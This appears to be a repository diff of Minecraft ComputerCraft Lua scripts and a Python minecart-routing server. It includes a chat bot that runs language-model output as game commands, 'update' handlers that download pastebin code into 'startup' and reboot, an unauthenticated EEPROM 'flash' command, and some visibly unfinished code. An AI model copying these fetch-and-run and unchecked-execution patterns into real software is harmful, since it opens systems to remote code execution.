local rand = ("%x"):format(math.random(0, 0xFFFFFF))
commands.summon(('armor_stand ~ ~ ~ {Invisible: 1b, CustomName: "%s", Marker: 1b}'):format(rand))
commands.forge(("setdim @e[name=%s] %d"):format(rand, dim))
sleep(0.1)
print(("/tp @e[name=%s] %s"):format(rand, player))
local ok, err = commands.tp(("@e[name=%s] %s"):format(rand, player))
commands.kill(("@e[name=%s]"):format(rand))
if ok then
tell(("Dimension found: %d"):format(dim), owner)
commands.forge("setdim", move, dim)
commands.tp(move, player)
return true
elseif err[1] == "Unable to teleport because players are not in the same dimension" then
elseif #err == 0 then tell("Weirdness.", owner)
else error(table.concat(err, "\n")) end
end
--local tasks = {}
for _, dim in pairs(dims) do
--table.insert(tasks, function() try(dim) end)
if try(dim) then return end
end]]
commands.cofh("tpx", move, player)
--parallel.waitForAny(unpack(tasks))
elseif cmd == "summon" then
commands.execute(#tokens > 1 and table.remove(tokens, 1) or owner, "~ ~ ~ summon", entity_lookup[tokens[1]] or entity_lookup[tokens[1]:sub(1, tokens[1]:len() - 1)] or tokens[1], "~ ~1 ~")
else
return "reparse"
end
end
end
end
local function run_command(cmd, user, internal_parsing)
local original = cmd
for _, v in pairs(ignore) do cmd = cmd:gsub(v, " ") end
local tokens = tokenize(cmd)
local ok, err = pcall(process, tokens, user, internal_parsing)
if not ok then tell(err, user) end
if err == "reparse" then
if internal_parsing and internal_parsing > 3 then
chat.say "Error: Emergency AI safety countermeasure engaged."
return
end
if internal_parsing then
--chat.say "Warning: Recursive superintelligence invocation. GTech disclaims responsibility for intelligence explosions due to use of this product."
else
chat.say "Command not recognized. Activating superintelligence. Please wait."
end
local user_cmd = original:gsub("^[Aa][Pp][Ii][Oo][Bb][A-Za-z0-9]*,? *", "")
local result = completion(prompt:format(user_cmd))
local rhyme = result:match " *(.*)\n"
local action = result:match "\Action: *(.*)"
print("action is", action)
run_command("Apiobot " .. action, user, (internal_parsing or 0) + 1)
chat.say(rhyme)
end
end
while true do
local _, _, user, message = os.pullEvent "chat_message"
local word, loc = message:lower():match "^([a-z]+) +me +[a-z]*to +(.+)$"
if word and (word == "take" or word == "translate" or word:match "locate" or word == "send" or word == "displace" or word == "transport" or word == "transfer" or word == "move" or word == "beam" or word == "mail" or word == "place" or word == "lead" or word == "convey" or word == "teleport" or word == "redesignate" or word == "transmit") then
local rloc = loc:match "^the (.+)$"
if rloc then loc = rloc end
loc = loc:gsub("%.$", "")
loc = loc:gsub("ward$", "")
print("sending", user, "to", loc)
if targets[loc] then
local coords = targets[loc]
commands.forge("setdim", user, coords[1])
commands.tp(user, coords[2], coords[3], coords[4])
chat.say "Executed. Thank you for using the GTech(tm) Public Access Teleportation Service(tm)."
end
end
if user == owner or user == "lescitrons" or user == "heav_" or user == "ubq323" then
local ok, err = pcall(run_command, message, user)
if not ok then printError(err) end
end
-- ^(take)?(translate)?(send)?(move)?([A-Za-z]+locate)?(transport)?(displace)?(transfer)?
end

56
computercraft/apionet.lua Normal file
View File

@ -0,0 +1,56 @@
local component, computer = component, computer
if require then component = require "component" computer = require "computer" end
local netcards = {}
for addr in component.list "modem" do table.insert(netcards, component.proxy(addr)) end
local tunnels = {}
for addr in component.list "tunnel" do table.insert(tunnels, component.proxy(addr)) end
local computer_id = component.list "computer"()
local computer_peripheral = component.proxy(computer_id)
local computer_sid = computer_id:sub(1, 8)
local eeprom = component.proxy(component.list "eeprom"())
computer_peripheral.beep(600)
local recents = {}
local PORT = 4096
local DBG_PORT = 4097
for _, card in pairs(netcards) do
card.open(PORT)
card.open(DBG_PORT)
card.setWakeMessage("poweron", true)
if card.setStrength then card.setStrength(math.huge) end
computer_peripheral.beep(1500)
end
for _, tun in pairs(tunnels) do tun.setWakeMessage("poweron", true) computer_peripheral.beep(1200) end
computer_peripheral.beep(400)
while true do
local ev, _, _, port, distance, mtxt, mid = computer.pullSignal(5)
if ev == "modem_message" and type(mid) == "string" and mtxt ~= nil and (port == PORT or port == 0) and not recents[mid] then
recents[mid] = computer.uptime() + 120
for _, card in pairs(netcards) do
pcall(card.broadcast, PORT, mtxt, mid, computer_sid)
end
for _, tun in pairs(tunnels) do
pcall(tun.send, mtxt, mid, computer_sid)
end
end
if ev == "modem_message" and type(mtxt) == "string" and port == DBG_PORT and distance < 8 then
if mtxt == "ping" then
computer_peripheral.beep(1000)
card.broadcast(DBG_PORT, computer_sid)
elseif mtxt == "flash" and type(mid) == "string" then
computer_peripheral.beep(800)
eeprom.set(mid)
end
end
local uptime = computer.uptime()
for mid, deadline in pairs(recents) do
if uptime > deadline then
recents[mid] = nil
end
end
end

105
computercraft/arc.lua Normal file
View File

@ -0,0 +1,105 @@
--[[
ARC: AR Client
Uses Plethora overlay glasses and modems to display 3D signage transmitted from local "beacons"
]]
local m = peripheral.find "modem"
local mods = peripheral.wrap "back"
if not m then error "Modem required." end
if not mods then error "Is this even on a neural interface?" end
if not mods.canvas3d then error "Overlay glasses required." end
local canv = mods.canvas3d()
local object_channel = 666
m.open(object_channel)
local x, y, z
-- convert position to string for use as table key
local function serialize_position(p)
return string.format("%f,%f,%f", p[1], p[2], p[3])
end
-- Generate a string representation of a table, for easy comparison. Not really hashing, I guess.
local function hash_table(x)
if type(x) == "table" then
local out = ""
for k, v in pairs(x) do
if type(k) ~= "string" or not k:match "^_" then -- ignore keys beginning with _
out = out .. hash_table(k) .. ":" .. hash_table(v) .. ";"
end
end
return out
else
return tostring(x)
end
end
-- honestly not that elegant, but it works
-- TODO: do this more efficiently/nicely somehow?
local function tables_match(x, y)
return hash_table(x) == hash_table(y)
end
local objects = {}
local timers = {}
local function redraw(object)
local frame = object._frame
frame.clear()
end
local function process_object(object)
local pos = serialize_position(object.position)
if objects[pos] then
if not tables_match(object, objects[pos]) then
print("redrawing", pos)
objects[pos] = object
redraw(objects[pos])
end
local t = os.startTimer(20)
timers[t] = pos
else
print("new object at", pos)
if x then
local frame =
else
print("GPS error, cannot create object")
end
end
end
local function main_loop()
while true do
local event, timer, channel, reply_channel, message, distance = os.pullEvent()
if event == "modem_message" and channel == object_channel and distance and type(message) == "table" then -- ensure message is from this dimension and otherwise valid
for _, object in pairs(msg) do
local ok, err = pcall(process_object, object)
if not ok then printError(err) end
end
elseif event == "timer" then
local objpos = timers[timer]
if objpos then
local obj = objects[objpos]
if obj then
print(objpos, "timed out")
obj._frame.remove()
objects[objpos] = nil
end
end
end
end
end
-- Request location every second
local function GPS_loop()
while true do
x, y, z = gps.locate()
sleep(1)
end
end
parallel.waitForAll(GPS_loop, main_loop)

View File

@ -0,0 +1,309 @@
import asyncio
import websockets
import umsgpack
import random
import time
import collections
import functools
import json
import math
import queue
SwitchConfig = collections.namedtuple("SwitchConfig", ["states", "connections", "position"])
Connection = collections.namedtuple("Connection", ["destination_switch", "destination_side", "metric"], defaults=[None, None, None])
def vecdistance(a, b): return math.sqrt(sum((p - q) ** 2 for p, q in zip(a, b)))
def invert(x): return { v: k for k, v in x.items() }
def make_bijection(x): return {**x, **invert(x)}
north_tjunction = (
{ "east": "north", "north": "east", "west": "east" },
{ "east": "west", "north": "west", "west": "north" }
)
south_tjunction = (
{ "east": "south", "south": "east", "west": "east" },
{ "east": "west", "south": "west", "west": "south" }
)
east_tjunction = (
{ "north": "south", "east": "south", "south": "east" },
{ "north": "east", "east": "north", "south": "north" }
)
west_tjunction = (
{ "south": "west", "west": "south", "north": "south" },
{ "west": "north", "north": "west", "south": "north" }
)
switch_configs = {
"SW1": SwitchConfig(north_tjunction, {
"north": Connection("SW2", "south"),
"west": Connection("SW3", "east"),
"east": Connection("SW1", "east", 8)
}, (-5344, 95, 3108)),
"SW2": SwitchConfig(south_tjunction, {
"south": Connection("SW1", "north"),
"west": Connection("SW4", "east"),
"east": Connection("SW5", "south")
}, (-5344, 95, 3090)),
"SW3": SwitchConfig(north_tjunction, {
"east": Connection("SW1", "west"),
"north": Connection("SW4", "south"),
#"west": Connection("SW3", "west")
}, (-5360, 95, 3108)),
"SW4": SwitchConfig(east_tjunction, {
"east": Connection("SW2", "west"),
"south": Connection("SW3", "north"),
"north": Connection("SW4", "north", 24)
}, (-5361, 95, 3091)),
"SW5": SwitchConfig(west_tjunction, {
"south": Connection("SW2", "east"),
"west": Connection("SW6", "east"),
"north": Connection("SW8", "south")
}, (-5325, 94, 3084)),
"SW6": SwitchConfig(east_tjunction, {
"east": Connection("SW5", "west"),
"south": Connection("SW6", "south", 6),
"north": Connection("SW7", "east")
}, (-5338, 94, 3079)),
"SW7": SwitchConfig(east_tjunction, {
"east": Connection("SW6", "north"),
"south": Connection("SW7", "south", 6),
#"north": Connection("SW7", "north", 6),
}, (-5347, 94, 3074)),
"SW8": SwitchConfig(south_tjunction, {
"south": Connection("SW5", "north"),
#"west": Connection("SW8", "west", 6),
"east": Connection("SW8", "east", 6)
}, (-5323, 93, 3069)),
}
for id, config in switch_configs.items():
for side, connection in config.connections.items():
if connection.metric is None:
metric = vecdistance(config.position, switch_configs[connection.destination_switch].position)
config.connections[side] = Connection(destination_switch=connection.destination_switch, destination_side=connection.destination_side, metric=metric)
stations = {
"Test2": ("SW3", "west"),
"Test1": ("SW8", "west"),
"Test3": ("SW7", "north")
}
switches = {}
riders = {}
known_player_locations = {}
opposites = make_bijection({"north": "south", "east": "west"})
colors = {"north": 0b11111_00000_00000, "south": 0b00000_00000_11111, "east": 0b00000_11111_00000, "west": 0b11111_11111_00000}
unavailable_segments = collections.defaultdict(dict)
def build_graph(switch_configs):
graph = collections.defaultdict(dict)
for switch, config in switch_configs.items():
for state in config.states:
for in_side, out_side in state.items():
graph[(switch, in_side, "inbound")][(switch, out_side, "outbound")] = 1
for side, connection in config.connections.items():
graph[(switch, side, "outbound")][(connection.destination_switch, connection.destination_side, "inbound")] = connection.metric
return graph
graph = build_graph(switch_configs)
def bfs(target, start, is_unavailable):
def heuristic(x, y): return vecdistance(switch_configs[x[0]].position, switch_configs[y[0]].position)
frontier = queue.PriorityQueue()
frontier.put((0, start))
reached_from = {start: None}
best_cost_to = {start: 0}
while not frontier.empty():
_, current = frontier.get()
current_cost = best_cost_to[current]
if current == target:
break
for next_node, hop_cost in graph[current].items():
new_cost = current_cost + hop_cost
if not is_unavailable(next_node) and (next_node not in best_cost_to or best_cost_to[next_node] > new_cost):
reached_from[next_node] = current
best_cost_to[next_node] = new_cost
frontier.put((new_cost + heuristic(target, next_node), next_node))
try:
current = target
path = []
while current != start:
path.append(current)
current = reached_from[current]
path.reverse()
return path
except KeyError:
# route cannot be routed
return None
def get_target_side(cart_id, current_switch, current_side, target):
def is_unavailable(segment):
for occupying_cart in unavailable_segments[segment]:
if occupying_cart != cart_id:
return True
return False
path = bfs(target + ("outbound",), (current_switch, current_side, "inbound"), is_unavailable)
if path == [] or path == None:
print("already there or failed")
return current_side
print(path, target)
return path[0][1]
async def connect():
send = None
chat_tell = None
async def socket_connection():
async with websockets.connect("wss://spudnet.osmarks.net/v4?enc=msgpack") as websocket:
nonlocal send
send = lambda x: websocket.send(umsgpack.dumps(x))
await send({"type": "identify", "key": "[REDACTED]", "channels": ["comm:arr"]})
while True:
data = umsgpack.loads(await websocket.recv())
if data["type"] == "ping":
await send({"type": "pong", "seq": data["seq"]})
elif data["type"] == "message":
info = data["data"]
if info["type"] == "sw_ping":
switch_id = info["id"]
switches[switch_id] = { "carts": info["carts"], "last_ping": time.time() }
switch = switch_configs[switch_id]
for cart in sorted(info["carts"], key=lambda k: k["distance"]):
if "dir" in cart and "pos" in cart:
# a thing is "inbound" relative to a switch unit if its movement direction and position are opposite
# otherwise, it's outbound
# things going in the same direction can share the same track, though, so we want to block off the *opposite* segment
unavailable_direction = "outbound" if opposites[cart["dir"]] == cart["pos"] else "inbound"
cart_id = cart["id"]
# clear out existing reservations by this cart
for segment, carts in unavailable_segments.items():
if cart_id in carts:
del carts[cart_id]
now = time.time()
unavailable_segments[(switch_id, cart["pos"], unavailable_direction)][cart_id] = now
# connections are indexed by outbound direction from the switch
if connection := switch.connections.get(cart["pos"]):
opposite = "outbound" if unavailable_direction == "inbound" else "inbound"
unavailable_segments[(connection.destination_switch, connection.destination_side, opposite)][cart_id] = now
for cart in sorted(info["carts"], key=lambda k: k["distance"]):
#print(cart)
rider = [ rider for rider in cart["riders"] if rider in riders ]
if "dir" in cart and "pos" in cart and opposites[cart["dir"]] == cart["pos"] and rider:
rider = rider[0]
target = get_target_side(cart["id"], switch_id, cart["pos"], riders[rider])
print("at", switch_id, "cart inbound on", cart["pos"], "with", cart["riders"], "set target side to", target)
switch_state = None
for i, state in enumerate(switch.states):
if state[cart["pos"]] == target:
switch_state = i
print("set state to", switch_state)
await send({"type": "send", "channel": "comm:arr", "data":
{"type": "sw_cmd", "cmd": "set", "lamp": colors[target],
"switch": switch_state, "id": switch_id, "cid": random.randint(0, 0xFFFF_FFFF)}})
elif info["type"] == "st_ping":
for player in info["players"]:
known_player_locations[player] = (info["id"], time.time())
elif info["type"] == "st_ack":
if info["cid"]:
await chat_tell(info["cid"], { "done": "Cart dispensed.", "no_cart": "Sorry, out of carts.", "busy": "System in use." }.get(info["status"], info["status"]))
elif data["type"] == "ok": pass
else:
print(data)
async def clear_switches():
while True:
clear = set()
now = time.time()
for id, switch in switches.items():
if now - switch["last_ping"] >= 2:
clear.add(id)
for clr in clear:
del switches[clr]
for segment, carts in unavailable_segments.items():
clear = set()
for cart_id, reserved_at in carts.items():
if now - reserved_at >= 15:
print("unreserve", cart_id)
clear.add(cart_id)
for clr in clear:
del carts[clr]
await asyncio.sleep(2)
async def switchcraft_chat():
async with websockets.connect("wss://chat.switchcraft.pw/[REDACTED]") as websocket:
nonlocal chat_tell
chat_tell = lambda name, msg: websocket.send(json.dumps({ "type": "tell", "user": name, "text": "[ARR] " + msg, "mode": "markdown" }))
while True:
packet = json.loads(await websocket.recv())
if packet["type"] == "command":
if packet["command"] == "arr":
name = packet["user"]["name"]
if name == "PatriikPlays": return
try:
print(name, packet["args"])
if packet["args"][0] == "dest":
assert packet["args"][1] in switch_configs, "wrong"
riders[name] = packet["args"][1], packet["args"][2]
print("set ", name, packet["args"][1], packet["args"][2])
await chat_tell(name, "Done!")
elif packet["args"][0] == "update" and name == "gollark":
await send({"type": "send", "channel": "comm:arr", "data":
{ "type": "sw_cmd", "cmd": "update" }})
await send({"type": "send", "channel": "comm:arr", "data":
{ "type": "st_cmd", "cmd": "update" }})
await chat_tell(name, "Done!")
elif packet["args"][0] == "rdest" and name == "gollark":
assert packet["args"][1] in switch_configs, "wrong"
riders[packet["args"][3]] = packet["args"][1], packet["args"][2]
print("set ", packet["args"][3], packet["args"][1], packet["args"][2])
await chat_tell(name, "Done!")
elif packet["args"][0] == "rto":
station = stations.get(packet["args"][1])
if station:
riders[name] = station
await chat_tell(name, "Destination set.")
else:
await chat_tell(name, "Try going somewhere extant.")
elif packet["args"][0] == "goto":
if name in known_player_locations and (time.time() - 5) <= known_player_locations[name][1]:
loc = known_player_locations[name][0]
await chat_tell(name, f"You are at {loc}.")
station = stations.get(packet["args"][1])
if station:
riders[name] = station
await chat_tell(name, "Destination set. Dispensing cart.")
await send({"type": "send", "channel": "comm:arr", "data":
{ "type": "st_cmd", "cmd": "place_cart", "cid": name, "id": loc }})
else:
await chat_tell(name, "Try going somewhere extant.")
else:
await chat_tell(name, "You are in the wrong place.")
except Exception as e:
await chat_tell(name, repr(e))
async def repeatedly_do_switchcraft_chat_for_bad_reasons():
while True:
try:
await switchcraft_chat()
except Exception as e:
print("connection failed probably", e)
await asyncio.sleep(0.1)
await asyncio.gather(clear_switches(), socket_connection(), repeatedly_do_switchcraft_chat_for_bad_reasons())
asyncio.run(connect())

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.5 MiB

View File

@ -0,0 +1,184 @@
local sign = peripheral.find "minecraft:sign"
local sensor = peripheral.find "plethora:sensor"
local label = os.getComputerLabel()
local chest = peripheral.wrap "bottom"
sign.setSignText "Rotating"
local powered_rail_side = "right"
while true do
local presence, meta = turtle.inspect()
if presence and meta.name == "minecraft:activator_rail" then
break
end
turtle.turnRight()
end
turtle.turnLeft()
local presence, meta = turtle.inspect()
if presence and meta.name == "minecraft:golden_rail" then
powered_rail_side = "left"
end
turtle.turnRight()
local function sign_display(player)
local l2, l3 = "", ""
if player then
l2 = "Welcome, "
l3 = player
end
sign.setSignText(label, l2, l3, "\\arr goto [dest]")
end
sign_display()
local function spudnet()
if not http or not http.websocket then return "Websockets do not actually exist on this platform" end
local ws
local function send_packet(msg)
local ok, err = pcall(ws.send, textutils.serialiseJSON(msg))
if not ok then printError(err) try_connect_loop() end
end
local function send(data)
send_packet { type = "send", channel = "comm:arr", data = data }
end
local function connect()
if ws then ws.close() end
ws, err = http.websocket "wss://spudnet.osmarks.net/v4?enc=json"
if not ws then print("websocket failure %s", err) return false end
ws.url = "wss://spudnet.osmarks.net/v4?enc=json"
send_packet { type = "identify", implementation = "ARR station unit", key = settings.get "spudnet_key" }
send_packet { type = "set_channels", channels = { "comm:arr" } }
print("websocket connected")
return true
end
local function try_connect_loop()
while not connect() do
sleep(0.5)
end
end
try_connect_loop()
local function recv()
while true do
local e, u, x = os.pullEvent "websocket_message"
if u == ws.url then return textutils.unserialiseJSON(x) end
end
end
local ping_timeout_timer = nil
local function ping_timer()
while true do
local _, t = os.pullEvent "timer"
if t == ping_timeout_timer and ping_timeout_timer then
-- 15 seconds since last ping, we probably got disconnected
print "SPUDNET timed out, attempting reconnect"
try_connect_loop()
end
end
end
local function main()
while true do
local packet = recv()
if packet.type == "ping" then
send_packet { type = "pong", seq = packet.seq }
if ping_timeout_timer then os.cancelTimer(ping_timeout_timer) end
ping_timeout_timer = os.startTimer(15)
elseif packet.type == "error" then
print("SPUDNET error", packet["for"], packet.error, packet.detail, textutils.serialise(packet))
elseif packet.type == "message" then
os.queueEvent("spudnet_message", packet.data)
end
end
end
return send, function() parallel.waitForAll(ping_timer, main) end
end
local spudnet_send, spudnet_handler = spudnet()
local function main()
while true do
local entities = sensor.sense()
local players = {}
for _, entity in pairs(entities) do
entity.position = vector.new(entity.x, entity.y, entity.z)
if entity.position:length() < 5 and entity.displayName == entity.name then
table.insert(players, entity.displayName)
end
end
if #players > 0 then
sign_display(players[1])
spudnet_send { id = label, type = "st_ping", players = players }
end
if turtle.suck() then
turtle.select(1)
chest.pullItems("up", 1)
end
sleep(1)
end
end
local busy
local function spudnet_listen()
while true do
local _, data = os.pullEvent "spudnet_message"
if type(data) == "table" and data.type == "st_cmd" and (data.id == label or data.id == nil) then
--print(data.type, data.cmd)
if data.cmd == "place_cart" then
if busy then
spudnet_send { id = label, cid = data.cid, type = "st_ack", status = "busy" }
else
busy = true
chest.pullItems("up", 1)
local items = chest.list()
local cart_slot
for slot, content in pairs(items) do
cart_slot = slot
end
if not cart_slot then
spudnet_send { id = label, cid = data.cid, type = "st_ack", status = "no_cart" }
else
chest.pushItems("up", cart_slot, 1, 1)
if powered_rail_side == "left" then turtle.turnLeft() else turtle.turnRight() end
turtle.place()
if powered_rail_side == "left" then turtle.turnRight() else turtle.turnLeft() end
spudnet_send { id = label, cid = data.cid, type = "st_ack", status = "done" }
end
busy = false
end
elseif data.cmd == "update" then
local h, e = http.get "https://pastebin.com/raw/JxauVSec"
if not h then printError(e)
else
sign.setSignText("Update", "in progress")
local t = h.readAll()
h.close()
local f, e = load(t)
if f then
local f = fs.open("startup", "w")
f.write(t)
f.close()
print "reboot"
sleep(1)
os.reboot()
else printError(e) end
end
end
end
end
end
parallel.waitForAll(spudnet_handler, main, spudnet_listen)

Binary file not shown.

After

Width:  |  Height:  |  Size: 675 KiB

View File

@ -0,0 +1,173 @@
local lamp = peripheral.find "colorful_lamp"
lamp.setLampColor(32767)
local sensor = peripheral.find "plethora:sensor"
local label = os.getComputerLabel()
local switch_config = dofile "config.lua"
local function spudnet()
if not http or not http.websocket then return "Websockets do not actually exist on this platform" end
local ws
local function send_packet(msg)
local ok, err = pcall(ws.send, textutils.serialiseJSON(msg))
if not ok then printError(err) try_connect_loop() end
end
local function send(data)
send_packet { type = "send", channel = "comm:arr", data = data }
end
local function connect()
if ws then ws.close() end
ws, err = http.websocket "wss://spudnet.osmarks.net/v4?enc=json"
if not ws then print("websocket failure %s", err) return false end
ws.url = "wss://spudnet.osmarks.net/v4?enc=json"
send_packet { type = "identify", implementation = "ARR switching unit", key = settings.get "spudnet_key" }
send_packet { type = "set_channels", channels = { "comm:arr" } }
print("websocket connected")
return true
end
local function try_connect_loop()
while not connect() do
sleep(0.5)
end
end
try_connect_loop()
local function recv()
while true do
local e, u, x = os.pullEvent "websocket_message"
if u == ws.url then return textutils.unserialiseJSON(x) end
end
end
local ping_timeout_timer = nil
local function ping_timer()
while true do
local _, t = os.pullEvent "timer"
if t == ping_timeout_timer and ping_timeout_timer then
-- 15 seconds since last ping, we probably got disconnected
print "SPUDNET timed out, attempting reconnect"
try_connect_loop()
end
end
end
local function main()
while true do
local packet = recv()
if packet.type == "ping" then
send_packet { type = "pong", seq = packet.seq }
if ping_timeout_timer then os.cancelTimer(ping_timeout_timer) end
ping_timeout_timer = os.startTimer(15)
elseif packet.type == "error" then
print("SPUDNET error", packet["for"], packet.error, packet.detail, textutils.serialise(packet))
elseif packet.type == "message" then
os.queueEvent("spudnet_message", packet.data)
end
end
end
return send, function() parallel.waitForAll(ping_timer, main) end
end
local spudnet_send, spudnet_handler = spudnet()
local directions = {
["+ "] = "east",
[" +"] = "south",
["- "] = "west",
[" -"] = "north"
}
local function direction_name(vec)
local function symbol(v)
if math.abs(v) < 0.1 then return " "
elseif v < 0 then return "-"
else return "+" end
end
return directions[symbol(vec.x) .. symbol(vec.z)]
end
local function main()
while true do
local entities = sensor.sense()
for _, entity in pairs(entities) do
entity.position = vector.new(entity.x, entity.y, entity.z) + switch_config.offset
entity.velocity = vector.new(entity.motionX, entity.motionY, entity.motionZ)
end
table.sort(entities, function(a, b) return a.position:length() < b.position:length() end)
local carts = {}
for _, entity in pairs(entities) do
if entity.displayName == "entity.MinecartRideable.name" then
entity.riders = {}
table.insert(carts, entity)
break
end
end
local new_carts = {}
local relevant_carts = 0
for _, cart in pairs(carts) do
local new = {
pos = direction_name(cart.position), dir = direction_name(cart.velocity),
distance = cart.position:length(),
riders = {},
id = cart.id
}
for _, entity in pairs(entities) do
if entity.displayName ~= "entity.MinecartRideable.name" and entity ~= cart and (cart.position - entity.position):length() < 1 then
table.insert(new.riders, entity.displayName)
break
end
end
if new.dir and #new.riders > 0 then
relevant_carts = relevant_carts + 1
end
table.insert(new_carts, new)
end
spudnet_send { id = label, type = "sw_ping", carts = new_carts }
if relevant_carts == 0 then sleep(0.5) elseif relevant_carts == 1 then sleep(0.25) else sleep(0.1) end
end
end
local function spudnet_listen()
while true do
local _, data = os.pullEvent "spudnet_message"
if type(data) == "table" and data.type == "sw_cmd" and (data.id == label or data.id == nil) then
--print(data.type, data.cmd)
if data.cmd == "set" then
print("set")
if data.lamp then lamp.setLampColor(data.lamp) end
if data.switch ~= nil then rs.setOutput(switch_config.side, data.switch == 1) end
spudnet_send { type = "sw_ack", cid = data.cid }
elseif data.cmd == "update" then
local h, e = http.get "https://pastebin.com/raw/g9gfxwsb"
if not h then printError(e)
else
lamp.setLampColor(1023)
local t = h.readAll()
h.close()
local f, e = load(t)
if f then
local f = fs.open("startup", "w")
f.write(t)
f.close()
print "reboot"
sleep(1)
os.reboot()
else printError(e) end
end
end
end
end
end
parallel.waitForAll(spudnet_handler, main, spudnet_listen)

View File

@ -0,0 +1,38 @@
local function select_item(item, mincount)
local mincount = mincount or 1
for i = 1, 16 do
local it = turtle.getItemDetail(i)
if it and it.count and it.name and it.count >= mincount and it.name == item then
turtle.select(i)
return true
end
end
return false
end
local function run_cycle()
turtle.up()
select_item "minecraft:iron_block"
turtle.place()
turtle.up()
select_item("minecraft:redstone", 2)
turtle.place()
turtle.down()
turtle.down()
turtle.dropUp(1)
sleep(5)
end
while true do
if turtle.getFuelLevel() > 4 then
if select_item "minecraft:iron_block" and select_item("minecraft:redstone", 2) then
print "Running."
run_cycle()
else
print "Insufficient items."
end
else
print "Insufficient fuel."
end
sleep(2)
end

82
computercraft/autokit.lua Normal file
View File

@ -0,0 +1,82 @@
local box_side = "down"
local box = peripheral.find "thermalexpansion:storage_strongbox"
local interface = peripheral.find "appliedenergistics2:interface"
local kitfile = ...
if not kitfile then error "provide a kit file" end
local kit = dofile(kitfile)
for slot, stack in pairs(box.list()) do
local name = stack.name .. "@" .. tostring(stack.damage)
print(stack.count, name, "already present")
for i, it in pairs(kit) do
if it[1] == stack.name or it[1] == name then
it[2] = it[2] - stack.count
if it[2] <= 0 then table.remove(kit, i) end
break
end
end
end
local function free_crafting_CPUs()
local count = 0
for _, CPU in pairs(interface.getCraftingCPUs()) do
if not CPU.busy then count = count + 1 end
end
return count
end
local max_concurrency = math.max(free_crafting_CPUs() / 2, 1)
print("Using max", max_concurrency, "crafting CPUs")
local function display_kit_item(i)
return ("%s x%d"):format(i[1], i[2])
end
local function export(item, count)
local total = 0
while total < count do
local new = item.export(box_side, count - total)
if new == 0 then error "no items available or storage full" end
total = total + new
end
end
local tasks = {}
while true do
if #tasks < max_concurrency and #kit > 0 then
-- pop off next item
local nexti = table.remove(kit, 1)
local item = interface.findItem(nexti[1])
if not item then error(display_kit_item(nexti) .. " not found?") end
local desired = nexti[2]
local existing = item.getMetadata().count
if existing < desired then
local crafting_job = item.craft(desired - existing)
print("Queueing", display_kit_item(nexti))
table.insert(tasks, { job = crafting_job, itemtype = nexti, item = item })
end
if existing > 0 then
export(item, math.min(existing, desired))
print("Exporting existing", display_kit_item { nexti[1], math.min(existing, desired) })
end
else
for i, task in pairs(tasks) do
local status = task.job.status()
if status == "canceled" then
error("Job for " .. display_kit_item(task.itemtype) .. " cancelled by user")
table.remove(tasks, i)
elseif status == "missing" then
error("Job for " .. display_kit_item(task.itemtype) .. " missing items")
table.remove(tasks, i)
elseif status == "finished" then
print("Exporting", display_kit_item(task.itemtype))
export(task.item, task.itemtype[2])
table.remove(tasks, i)
end
end
sleep(1)
end
if #tasks == 0 and #kit == 0 then print "Done!" break end
end

View File

@ -0,0 +1,53 @@
local storage = peripheral.find "minecraft:ender chest"
local monitor = peripheral.find "monitor"
local button = settings.get "melon.button" or "right"
local dispense_count = 16
local dispense_direction = settings.get "melon.dispense" or "west"
local display_name = "Melon"
local to_store = "minecraft:melon"
local function mon_write(...)
monitor.setTextScale(1)
local oldterm = term.redirect(monitor)
term.clear()
term.setCursorPos(1, 1)
print "GTech AutoMelon"
write(...)
term.redirect(oldterm)
end
local function fill_chest()
while true do
local count = 0
for slot, stack in pairs(storage.list()) do
if stack.name == to_store then
count = count + stack.count
end
end
mon_write(("%dx %s stored\nPress button for %dx %s"):format(count, display_name, dispense_count, display_name))
local timer = os.startTimer(5)
while true do
local ev, param = os.pullEvent()
if (ev == "timer" and param == timer) or ev == "refresh_storage" then break end
end
end
end
local function handle_button()
while true do
os.pullEvent "redstone"
if redstone.getInput(button) then
local contents = storage.list()
for slot, stack in pairs(contents) do
if stack.count > dispense_count then
print("Dispensing", dispense_count, "from", slot, "to", dispense_direction)
storage.drop(slot, dispense_count, dispense_direction)
os.queueEvent("refresh_storage")
break
end
end
end
end
end
parallel.waitForAll(handle_button, fill_chest)

View File

@ -0,0 +1,164 @@
local input_chest = "actuallyadditions:giantchestlarge_0"
--local princess_chest = "actuallyadditions:giantchestlarge_2"
local bee_products_chest = "actuallyadditions:giantchestlarge_1"
local bee_overflow_chest = "actuallyadditions:giantchestlarge_7"
local apiaries = {peripheral.find "forestry:apiary"}
local index = {}
local bee_list = {}
local storage = {peripheral.find("actuallyadditions:giantchestlarge", function(n) return n ~= input_chest and n ~= bee_products_chest and n ~= bee_overflow_chest end)}
print("Got", #storage, "storage chests")
local function find_free_space()
for _, inv in pairs(storage) do
if not inv.cached_size then inv.cached_size = inv.size() end
local name = peripheral.getName(inv)
if not index[name] then
return name, 1
end
for slot = 1, inv.cached_size do
if not index[name][slot] then return name, slot end
end
end
end
local function run_cleanup()
for i = 1, peripheral.call(bee_overflow_chest, "size") do
local bee = bee_list[1]
local moved = peripheral.call(bee_overflow_chest, "pullItems", bee[1], bee[2])
index[bee[1]][bee[2]].count = index[bee[1]][bee[2]].count - moved
if index[bee[1]][bee[2]].count == 0 then
index[bee[1]][bee[2]] = nil
table.remove(bee_list, 1)
end
print("Eliminated", moved, "bees")
end
end
local tol_table = {
none = 0,
both_1 = 3,
both_2 = 4,
both_3 = 6,
up_1 = 1.5,
down_1 = 1.5,
up_2 = 2,
down_2 = 2,
up_3 = 3,
down_3 = 3
}
local function score_genome_slot(g)
local score = g.speed * 8 + (20 / g.lifespan) + g.fertility
if g.never_sleeps then score = score + 5 end
if g.tolerates_rain then score = score + 2 end
if g.cave_dwelling then score = score + 5 end
score = score + tol_table[g.humidity_tolerance]
score = score + tol_table[g.temperature_tolerance]
return score
end
local function score_bee(individual)
return score_genome_slot(individual.genome.active) + 0.5 * score_genome_slot(individual.genome.inactive)
end
local function insert_into_list(bee, inv, slot)
local score = score_bee(bee.bee_data)
local lo, hi = 1, #bee_list + 1
while lo < hi do
local mid = math.floor((lo + hi) / 2)
local compr_score = bee_list[mid][3]
if score < compr_score then
hi = mid
else
lo = mid + 1
end
end
table.insert(bee_list, lo, { inv, slot, score })
end
local indexed_count = 0
print "Bee indexing initiating"
for _, chest in pairs(storage) do
local name = peripheral.getName(chest)
if not index[name] then index[name] = {} end
for slot, item in pairs(chest.list()) do
local meta = chest.getItemMeta(slot)
index[name][slot] = { count = item.count, name = meta.displayName, bee_data = meta.individual }
indexed_count = indexed_count + 1
